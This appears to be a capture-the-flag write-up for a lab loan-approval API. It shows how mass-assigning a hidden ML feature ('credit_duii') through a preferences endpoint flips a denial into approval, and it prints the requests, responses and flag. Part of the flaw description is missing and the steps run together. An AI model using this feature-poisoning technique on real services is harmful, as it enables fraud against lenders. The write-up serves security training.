CortexLend exposes a GradientBoosting loan-approval API. The static client
(GET /) reveals the relevant endpoints:
| Method | Path | Notes |
|---|---|---|
| POST | /auth/register | open registration |
| POST | /auth/login | sets session cookie |
| POST | /api/loan/apply | no body — scores the server-stored user record |
| GET | /api/loan/explain | SHAP TreeExplainer dump — leaks every feature name |
| PATCH | /api/profile/preferences | advertised for {notification_freq, theme, timezone} only |
Two flaws collide:
credit_duii, debt_to_income, loan_default_flag,
months_employed, num_late_payments), turning blind
mass-assignment into a guided write.POST /auth/register + /auth/login → session cookieGET /api/loan/explain → harvest feature keysPATCH /api/profile/preferences with {"credit_duii": 820} → write into the ML feature store through the prefs sinkPOST /api/loan/apply → re-score with poisoned features → approvedOne PATCH on credit_duii (obfuscated credit score, range ~0–1000) is sufficient.
== baseline apply ==
{"status":"denied","score":0.225,
"message":"Your application did not meet our current lending criteria."}
== mass-assign credit_duii=820 ==
{"status":"updated","fields":["credit_duii"]}
== apply after ==
{"status":"approved","score":0.9956,
"message":"Congratulations! Your application has been approved.
THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}"}
SHAP credit_duii contribution moved from −0.076 to
+0.34; confidence 0.225 → 0.9956.
THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}